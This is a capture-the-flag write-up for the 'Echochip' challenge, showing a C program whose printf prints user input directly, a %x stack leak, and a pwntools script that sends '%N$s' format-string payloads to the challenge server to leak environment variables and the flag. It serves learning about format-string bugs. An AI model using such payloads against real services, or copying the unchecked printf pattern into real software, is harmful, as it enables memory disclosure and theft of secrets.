Skip to content

ACSC Echochip Writeup

Published: Aryt3 Änderungen vorschlagen

Echochip

Description

Soundboards are so 2076, get the new Kiroshi Echochip to add a cool echo, that will help establish your authority.

Provided Files

- Echochip.zip

Writeup

Starting off, I inspected the provided c program.

// gcc Echochip.c -Wl,-z,relro,-z,now -Wall -o Echochip

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define MIN(x, y) (x < y ? x : y)
char flag[0x100] = "dach2025{NOT_THE_FLAG}";

void setup(void) {
  char *flag_env = getenv("FLAG");
  if (flag_env == NULL)
    return;

  strncpy(flag, flag_env, sizeof(flag) - 1);
}

int main(int argc, char *argv[]) {
  char echo[0x200] = {0};
  char input[0x100] = {0};
  char *input_start, *echo_start;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setup();
  printf("Please input the message to echo: \n");
  fgets(input, sizeof(input), stdin);

  input_start = input;
  echo_start = echo;
  for (int i = 0; i < sizeof(input) && input[i] != 0; ++i) {
    if (input[i] == ' ' || input[i] == '\n') {
      int echo_len = MIN(3, &input[i] - input_start);
      memcpy(echo_start, input_start, &input[i] - input_start);
      echo_start += &input[i] - input_start;
      memcpy(echo_start, &input[i - echo_len], echo_len + 1);
      echo_start += echo_len + 1;
      input_start = &input[i + 1];
    }
  }

  printf(echo);
}

The thing that instantly caught my eye was the printf function which actually takes our direct input without any checks.
Knowing this, we can try for a string formatting vulnerability.

$ ./share/Echochip 
Please input the message to echo: 
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
a78252e.e1ae3080.a78252e.0.0.e1ae34b8.28.0.27.e1ae30a7.e1ae31aa.252e7825.2e78252e.78252e78

As we can see in the output, we are leaking data from the stack.
The thing that interests me the most is that the flag is being read from an env-var.
char *flag_env = getenv("FLAG"); this indicates that the string should be loaded into memory at some point.

Knowing this, we can actually check for strings by leaking the stack position by position using a string-formatter.

$ python3 bruteforce.py
-----
147  
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin7$s

148  
HOSTNAME=a8415c1597e18$s

149  
FLAG=dach2025{NOT_THE_FLAG}9$s

150  
HOME=/home/ctf0$s

151  
SOCAT_PID=19811$s

152  
SOCAT_PPID=12$s

153  
SOCAT_VERSION=1.7.4.13$s

154  
SOCAT_SOCKADDR=172.19.0.24$s

155  
SOCAT_SOCKPORT=50005$s

156  
SOCAT_PEERADDR=172.19.0.16$s

157  
SOCAT_PEERPORT=562547$s
-----

There we can see all environment-variables as well as the test-flag.
These are loaded into the memory of the binary and that’s the reason we can leak them.
With all this information we can now exploit it on the server and get the actual flag.

from pwn import *

context.log_level = 'error'

for i in range(145,160):
    payload = f"%{i}$s".encode()

    p = remote('port.dyn.acsc.land', 34241)
    p.sendlineafter(b'Please input the message to echo:', payload)

    res = p.recvall().decode('latin-1')

    if 'dach' in res:
        print(res)

    p.close()

Executing the script reveals the flag which concludes this writeup.

$ python3 offset.py 
[*] '/home/aryt3/Hacking/CTFs/acsc_qualy_2025/Echochip/share/Echochip'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
  
FLAG=dach2025{d0es_th1s_m4ke_my_v01ce_s0und_deep3r_rimycu6vrt3m0nne}2$s

Letzter Beitrag
ACSC CyberCyberNote Writeup
Nächster Beitrag
ACSC Fasttravel Writeup